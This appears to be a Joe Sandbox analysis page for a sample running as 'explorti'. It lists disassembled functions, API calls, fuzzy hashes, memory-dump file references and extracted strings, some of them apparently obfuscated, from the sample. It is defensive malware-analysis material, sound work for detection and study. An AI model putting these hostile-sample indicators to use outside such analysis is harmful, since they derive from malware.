Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: 6d8991c73cfba04ae4f098b2ecb3f870d9d26851a854952e7013f2a647a07201
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 01F12F71E002199FDF14CFA9C9906AEB7F1FF48314F2582A9E919AB345D731AE41CB90

Function 00B0CB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00B0CE82,?,?,?,?,00B0CEB7,?,?,?,?,?,?,00B0C42D,?,00000001), ref: 00B0CB33

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 494f456930e1cf5a20fd219710eff801d871959096b9107d9997b33aa102cc08
Instruction ID: 81f92640bdaef4ebd4915894eddb378d9fce4aa572ec4806592511a8cba5583a
Opcode Fuzzy Hash: 494f456930e1cf5a20fd219710eff801d871959096b9107d9997b33aa102cc08
Instruction Fuzzy Hash: 30D0223260217C97CA113B90BC0D8ACBF88AB01B153000292ED08231608F605C005BD0

Function 00B27D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00B27EFF

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: f89d9035627ff87a07e73af905fd9a3905feec69a0bc0e213d9fff80c4c01315
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 235196B12CC67857CB38AA28B8D6BBE67DEDF12340F1404E9D44EC7682CE119D05836E

Function 00AF4CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a16cb114b01b00f5b825aee21f1804ff974dba1e264300dbe8a8fbc448b43e35
Instruction ID: e1628f9cb786cb8d2859be6967168aefb55e785484af956021be0d3af80d2a63
Opcode Fuzzy Hash: a16cb114b01b00f5b825aee21f1804ff974dba1e264300dbe8a8fbc448b43e35
Instruction Fuzzy Hash: 382250B3F516144BDB4CCB9DDCA27EDB2E3AFD8214B0E803DA40AE3345EA79D9158644

Function 054E0621 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885378413.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54e0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29fe7e9617dc23a9a36c158d09d6043dc1d4578b54a672ae576857b957f9f80b
Instruction ID: 30a8e078df9f6b2c54c31329b3a0108af5382d75029580c7998b627298014d48
Opcode Fuzzy Hash: 29fe7e9617dc23a9a36c158d09d6043dc1d4578b54a672ae576857b957f9f80b
Instruction Fuzzy Hash: 7B71BDEB24D211BD7102C5522B6DAFB6B6FE4D2732330843BF86BD6942E2D44A4F5172

Function 00B36F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62e55e4c3ac7a0b58d93a8848ee9b0f1fc68af6c49e2754556b747fe28d9aca5
Instruction ID: fff2751c80dcf61503e06d010c2f505438a8a8ce8a6eaaddc3933e75bbc3e0f2
Opcode Fuzzy Hash: 62e55e4c3ac7a0b58d93a8848ee9b0f1fc68af6c49e2754556b747fe28d9aca5
Instruction Fuzzy Hash: 9CB15C72214609DFD729CF28C486B657BE0FF45364F358698E899DF2A1CB35E982CB40

Function 00AF4AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 387032f42cc6134b4f9e6331cf97971b6b96d68eaf9708f6019a71dcc1a9dc1d
Instruction ID: c4b446468a94ba905481978a5c5b9c4a76dd6c64d1f3a025a5c341be563ecad9
Opcode Fuzzy Hash: 387032f42cc6134b4f9e6331cf97971b6b96d68eaf9708f6019a71dcc1a9dc1d
Instruction Fuzzy Hash: 9851A1716083918FD319CF2D841563AFFE1BFD9200F094A9EE5E687292D774DA08CB92

Function 00B3777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9b7f90004e9950bb333b17574d8fc0b19be74fdfb14c0bab55559c58c97158f
Instruction ID: 821b2caa1e5129d3bd6b8e432b665ee42687493644e91d0c60c31896745a2b33
Opcode Fuzzy Hash: b9b7f90004e9950bb333b17574d8fc0b19be74fdfb14c0bab55559c58c97158f
Instruction Fuzzy Hash: F221D673F204390B770CC47E8C532BDB6E1C78C501744423AE8A6EA2C1D968D917E2E4

Function 00B3765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec85a202051b82e4c134821a4290cca2123f40197713f88f0085dff5729d7391
Instruction ID: ad07559c1abb2745a59be2258c9e9edd9e3a6aab318d8bdafc35da7127be6db0
Opcode Fuzzy Hash: ec85a202051b82e4c134821a4290cca2123f40197713f88f0085dff5729d7391
Instruction Fuzzy Hash: E411CA63F30C255B675C817D8C172BAA1D2DBD824071F437AD826E7384E994DE23D290

Function 00B38720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 2c3a58d16b0c831e6f525c2392461bb0a0f37f9460c7a5c20322fc9dee090214
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 9211D37B200341C7D615862DD9F85B6B7D7EBC5321F3C42EAF0514B668DE22AD459902

Function 00B2645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb2a0d9b3f9340b5af96974ea2315e9321380a3d3cf09923aadb42925e62c8c
Instruction ID: 67e75bc06731d3f0f1438eaed6fc0a087567652a24e903ef1ae15cb149727a12
Opcode Fuzzy Hash: feb2a0d9b3f9340b5af96974ea2315e9321380a3d3cf09923aadb42925e62c8c
Instruction Fuzzy Hash: B8E08C30241618AFCF397B19EC4DE883F9AEB92351F044849F86C46221CB25ED91C980

Function 00B2A1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: bf0d608ffe7d92297d9bb363acb3329f9090f8b5d7756a86de7afb9e4dc8700e
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: CFE04632921238EBCB15DB889A04D8AF3ECEB49B11F154496B505E3240C270DF00CBD0

Function 00B02E20 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

FAml, xrefs: 00B0378F
UFy=, xrefs: 00B033BA
6JLUcxtnEx==, xrefs: 00B02EC7
invalid stoi argument, xrefs: 00B0425A
246122658369, xrefs: 00B033D4
Dy==, xrefs: 00B0369E
stoi argument out of range, xrefs: 00B04269

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$6JLUcxtnEx==$Dy==$FAml$UFy=$invalid stoi argument$stoi argument out of range
API String ID: 0-3273830296
Opcode ID: 2f7e5f85edd06e53a2a84f953b4a65bf501e99e0633afb14fb808dc327175fea
Instruction ID: 3f40a6e1052b2d112c3ba9168e820c58f893bc63f690f3c3b380cbe45654821f
Opcode Fuzzy Hash: 2f7e5f85edd06e53a2a84f953b4a65bf501e99e0633afb14fb808dc327175fea
Instruction Fuzzy Hash: F3028E71A00248DBEF14DFA8C859BDEBFF5EF15304F504598E805A72C2DB75AA84CBA1

Function 00AF2E80 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AF2F1F
GetCurrentThreadId.KERNEL32 ref: 00AF2F3E
__Mtx_unlock.LIBCPMT ref: 00AF2F8C
__Cnd_broadcast.LIBCPMT ref: 00AF2FA3
__Mtx_unlock.LIBCPMT ref: 00AF30B5
GetCurrentThreadId.KERNEL32 ref: 00AF30F2
__Mtx_unlock.LIBCPMT ref: 00AF315B

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 23afced312636068977eaf88fba1edd94004b179a0913220c2cebfdbbc602a2e
Instruction ID: 5fa9260c5ecc3f53fa3febc5e6c6f47cd031bf11e618bdf7d50279427576d678
Opcode Fuzzy Hash: 23afced312636068977eaf88fba1edd94004b179a0913220c2cebfdbbc602a2e
Instruction Fuzzy Hash: EAA1D0B190120A9FDF21DFA4C845B6ABBF8FF15314F048269F915D7281EB31EA14CB91

Function 00B24770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00B247A7
___except_validate_context_record.LIBVCRUNTIME ref: 00B247AF
_ValidateLocalCookies.LIBCMT ref: 00B24838
__IsNonwritableInCurrentImage.LIBCMT ref: 00B24863
_ValidateLocalCookies.LIBCMT ref: 00B248B8

Strings

csm, xrefs: 00B2484D

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
